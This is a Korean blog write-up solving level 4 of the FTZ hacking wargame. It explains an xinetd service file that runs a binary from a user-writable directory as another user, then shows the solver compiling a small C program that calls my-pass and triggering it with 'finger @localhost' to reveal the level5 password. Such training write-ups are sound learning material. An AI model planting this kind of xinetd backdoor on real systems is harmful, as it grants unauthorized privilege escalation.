티스토리 뷰

728x90
반응형

 

 

[level4@ftz level4]$ cat hint

누군가 /etc/xinetd.d/에 백도어를 심어놨다.!

힌트는 위와 같습니다.

 

/etc/xinetd.d/ 경로가 어떤 경로인지 먼저 알아보기 이전에 해당 경로에 뭐가 있는지 살펴보겠습니다.

[level4@ftz level4]$ ls -al /etc/xinetd.d/
total 88
drwxr-xr-x    2 root     root         4096 Sep 10  2011 .
drwxr-xr-x   52 root     root         4096 Oct 14 21:00 ..
-r--r--r--    1 root     level4        171 Sep 10  2011 backdoor
-rw-r--r--    1 root     root          560 Dec 19  2007 chargen
-rw-r--r--    1 root     root          580 Dec 19  2007 chargen-udp
-rw-r--r--    1 root     root          417 Dec 19  2007 daytime
-rw-r--r--    1 root     root          437 Dec 19  2007 daytime-udp
-rw-r--r--    1 root     root          339 Dec 19  2007 echo
-rw-r--r--    1 root     root          358 Dec 19  2007 echo-udp
-rw-r--r--    1 root     root          317 Dec 19  2007 finger
-rw-r--r--    1 root     root          273 Dec 19  2007 ntalk
-rw-r--r--    1 root     root          359 Dec 19  2007 rexec
-rw-r--r--    1 root     root          376 Dec 19  2007 rlogin
-rw-r--r--    1 root     root          429 Dec 19  2007 rsh
-rw-r--r--    1 root     root          317 Dec 19  2007 rsync
-rw-r--r--    1 root     root          310 Dec 19  2007 servers
-rw-r--r--    1 root     root          312 Dec 19  2007 services
-rw-r--r--    1 root     root          406 Dec 19  2007 sgi_fam
-rw-r--r--    1 root     root          261 Dec 19  2007 talk
-rw-r--r--    1 root     root          305 Sep 10  2011 telnet
-rw-r--r--    1 root     root          495 Dec 19  2007 time
-rw-r--r--    1 root     root          515 Dec 19  2007 time-udp

우선 hint 에서 말한 backdoor 라는 파일을 볼 수 있습니다. 그리고 backdoor 파일 내용은 아래와 같습니다.

[level4@ftz level4]$ cat /etc/xinetd.d/backdoor
service finger
{
        disable = no
        flags           = REUSE
        socket_type     = stream
        wait            = no
        user            = level5
        server          = /home/level4/tmp/backdoor
        log_on_failure  += USERID
}

만약 이런 형태의 내용을 처음 보시는 분이라면, /etc/xinetd.d/ 경로 하위에 있는 다른 파일들도 출력해보면 되겠습니다. 모두 비슷한 형태의 내용을 하고 있음을 알 수 있습니다. 그렇기 때문에 더더욱 /etc/xinetd.d/ 경로가 특별한 경로임을 의미하고, 어떤 의미에서 사용되는 파일인지 알아볼 필요가 있습니다.

 

간단히 위키백과에서 참조한 내용을 같이 보도록 하겠습니다.

xinetd는 네트워크에 들어오는 요청을 듣고, 거기에 맞는 적절한 서비스를 실행시킨다. 요청들은 식별자로서 포트번호를 사용하여 만들어지며, 보통 요청을 다루는 다른 데몬을 실행시킨다. 이것은 특권 서비스 또는 아닌것들 둘 다를 시작시킬 때 사용될 수 있다.

중요한 문구가 보입니다. "들어오는 요청을 듣고, 서비스를 실행한다." 라는 문장입니다. 

xinetd 는 /etc/xinetd.d/ 하위 경로에 각 서비스들에 대한 설정파일을 보관합니다. 그리고 그 설정파일을 작성하는 방법에도 별도의 규칙이 존재합니다. 우선 위에 backdoor 파일의 내용을 기준으로 설명하도록 해보겠습니다.

 

service

말그대로 서비스 이름을 의미합니다. /etc/services파일에 등록된 서비스 이름과 일치해야 합니다. 위 backdoor 파일에서는 service finger 라고 되어 있기 때문에 finger 서비스에 대한 xinetd 설정을 한다는 것을 알 수 있습니다.

finger에 대한 설명은 이렇습니다. 더 자세한 건 리눅스에서 man finger 라고 쳐서 매뉴얼을 살펴보시면 되겠습니다.

Finger command is a user information lookup command which gives details of all the users logged in. This tool is generally used by system administrators. It provides details like login name, user name, idle time, login time, and in some cases their email address even.
출처 : https://www.geeksforgeeks.org/finger-command-in-linux-with-examples/

disable

해당 서비스를 서비스할 것인가(no) 아닌가(yes)를 설정하는 옵션입니다. 즉 서비스를 하도록 설정하려면 no로 설정하고 서비스를 하지 않으려면 yes로 설정합니다.

socket_type

TCP일 경우에는 stream으로 설정하고 UDP일 경우에는 dgram으로 설정합니다. 이 외에도 서비스의 성격에 따라 raw, rdm, seqpacket등이 올 수 있습니다.

wait

xinetd가 서비스 요청을 받은 경우, 이후에 즉시 또 다른 요청을 처리할 것인지(no) 아닌지(yes)의 여부를 결정하는 지시자입니다. stream일 경우에는 반드시 no이어야 합니다. no는 현재 요청 외에 다른 접속요청을 새로운 것으로 시작하여 처리하게 됩니다.

user

이 서비스를 어떤 사용자 권한으로 서비스할 것인가를 설정합니다. 이번 문제의 경우 level5로 되어있기 때문에 이 finger라는 서비스는 level5권한으로 실행됩니다.

server

해당 서비스 요청이 들어왔을 경우에 해당서비스를 담당하게 될 데몬파일의 위치를 절대 경로로 지정하는 항목입니다. 즉 해당서비스를 실행할 때 어떤 위치에 존재하는 프로그램(데몬)을 불러와 연결할 것인가를 명시한 것입니다.

이번 문제에서는 /home/level4/tmp/backdoor 로 명시하고 있습니다. 즉, finger 라는 서비스에 요청이 들어왔을 경우에 /home/level4/tmp/backdoor 라는 프로그램(데몬)을 실행시킨다는 것입니다.

log_on_failure

서버에 접속 실패했을 때 로그파일(대부분 /var/log/secure)에 기록하는 내용들을 설정할 수 있습니다. 그리고 += USERID 의 의미는 해당 서비스 접속에 실패했을 때 /etc/xinted.conf 파일에서 정의된 항목 외에 USERID 값, 즉 접속한 사용자의 id 를 log 파일에 추가로 기록하라는 의미라고 합니다.

 

이렇게 xinetd 에 대해서 정리를 해보았습니다. 여기서 제일 중요한 부분은 service, user, server 이렇게 3가지가 있습니다. 한마디로 말하자면, "level4 사용자가 finger 라는 서비스에 요청이 들어오게 했을 경우에 level4 사용자의 홈디렉토리 하위에 있는 /tmp/backdoor 프로그램(데몬)을 level5 사용자의 권한으로 실행시키게 하겠다"는 의미가 되겠습니다.

 

정말 한 단어로 말하면 파일의 의미 그대로 backdoor 가 되겠네요.

 

이제 다시 문제로 돌아가보겠습니다. 문제를 풀기 위해서는 아래 두 가지 조건이 만족되야 합니다.

 

1. level5의 권한을 얻어야 한다.

2. my-pass 명령어로 level5의 password 를 알아내야 한다.

 

그런데 마침 level5 의 권한으로 갈 수 있는 방법, 즉 backdoor 라는 방법이 주어졌습니다. 그래서 1번은 달성한 셈입니다. 이제 2번을 달성해야 하는데, 2번도 사실 이미 저 backdoor 파일에서 방법은 주어졌습니다.

 

바로, /home/level4/tmp/backdoor 입니다. 해당 경로를 조회해보면 아래와 같습니다.

[level4@ftz level4]$ ls -al /home/level4/tmp/
total 11
drwxrwxr-x    2 root     level4       4096 Oct 14 21:00 .
drwxr-xr-x    4 root     level4       4096 May  7  2002 ..

backdoor 라는 프로그램(데몬)이 없는 걸 알 수 있습니다. 그렇다면 저희가 만들어줘야 합니다. backdoor 라는 프로그램(데몬)이 실행되었을 때 my-pass 명령어가 실행될 수 있도록 하려면 어떻게 해야할까요?

 

바로 프로그래밍 언어로 프로그램을 작성하면 됩니다. 처음부터 타이핑하기 귀찮으시다면 level3 의 hint에 있는 코드를 복사해서 수정하는 용도로 사용해도 됩니다. 뭐 그냥 쳐도 될만큼 간단한 코드입니다만...

#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv){
	system("my-pass");
}

C언어에서 system 함수는 shell command 를 실행시킬 수 있습니다. 즉, my-pass 명령어를 실행시키기 위해서 system 함수를 작성한 것입니다.

 

코드를 작성했으니 대충 backdoor.c 로 저장한 다음에 컴파일을 해주고 executable binary 파일(실행파일)을 만들어 주겠습니다.

[level4@ftz tmp]$ vi backdoor.c
[level4@ftz tmp]$ gcc -o backdoor backdoor.c
[level4@ftz tmp]$ ls -al
total 24
drwxrwxr-x    2 root     level4       4096 Oct 14 23:00 .
drwxr-xr-x    4 root     level4       4096 May  7  2002 ..
-rwxrwxr-x    1 level4   level4      11537 Oct 14 23:00 backdoor
-rw-rw-r--    1 level4   level4        111 Oct 14 01:58 backdoor.c

이제 backdoor 라는 프로그램(데몬)이 만들어졌으니, finger 명령을 사용하여 정상적으로 level5의 비밀번호가 나오는 지 확인하면 되겠습니다.

 

단순히 아래처럼 finger 명령을 사용하시면 어떤 결과도 얻으실 수 없을 것입니다.

[level4@ftz tmp]$ finger -l
Login: root                             Name: root
Directory: /root                        Shell: /bin/bash
On since Thu Oct 14 22:17 (KST) on tty1   37 minutes 56 seconds idle
No mail.
No Plan.

Login: level4                           Name: Level 4
Directory: /home/level4                 Shell: /bin/bash
On since Thu Oct 14 22:27 (KST) on pts/0 from 192.168.64.1
No mail.
No Plan.
[level4@ftz tmp]$ finger level5
Login: level5                           Name: Level 5
Directory: /home/level5                 Shell: /bin/bash
Never logged in.
No mail.
No Plan.

무슨 결과는 출력되는 데, 단순히 finger 명령의 결과일 뿐이지 저희가 /etc/xinetd.d/ 에 정의한 내용대로 backdoor 가 실행되지는 않았습니다.

 

그 이유는 다시 위에 밑줄 친 부분을 살펴보시면 되겠습니다. 요약하자면 아래와 같습니다.

xinetd는 네트워크에 들어오는 요청을 듣고, 거기에 맞는 적절한 서비스를 실행시킨다.

들어오는 요청이라고 되어 있습니다. telnet 이나 ftp 와 같은 경우에는 통신 프로그램이기 때문에 외부로부터 들어오는 요청이라는 개념이 쉽게 잡힙니다. 하지만 finger 는 들어오는 요청을 받을 수 있는 기능이 있을까요?

 

네, 있습니다. linux 에서 man finger 명령어를 실행하셔서 finger 의 매뉴얼을 정독하시면 알 수 있습니다. 바로 아래와 같은 내용이 존재합니다.

Finger may be used to look up users on a remote machine. The format is to specify a user as ''user@host'', or ''@host'', where the default output format for the former is the -l style, and the default output format for the latter is the -s style. The -l option is the only option that may be passed to a remote machine.

If finger finds this file in a user's homedirectory, it will, for finger requests originatingoutside the local host, firmly deny the existence ofthat user. For this to work, the finger program, asstarted by fingerd(8), must be able to see the .nofingerfile. This generally means that the home directorycontaining the file must have the other-users-executebit set (o+x). See chmod(1). If you use this featurefor privacy, please test it with ''finger @localhost''before relying on it, just in case.

 

간단히 정리하자면, user@host 형식으로 외부의 사용자에 대한 정보를 조회할 수 있다고 합니다. 또한 단순히 테스트 용도로 본인 컴퓨터에서만 사용하기 위해서는 @localhost 라고 하여 사용할 수 있다고 예시를 보여줍니다.

 

그럼 여기서 finger @localhost 를 하게되면 어떻게 될까요? localhost는 결국 자기 자신의 컴퓨터를 의미합니다. 그렇기 때문에 finger로 자기자신(컴퓨터)에게 요청, 즉 들어오는 요청을 듣게 할 수 있게 됩니다.

 

아래와 같이 명령을 입력해보시면 마침내 비밀번호를 획득하실 수 있을 겁니다.

[level4@ftz tmp]$ finger @localhost
^[[H^[[J
Level5 Password is "what is your name?".

 

- 끝 -

728x90
반응형
댓글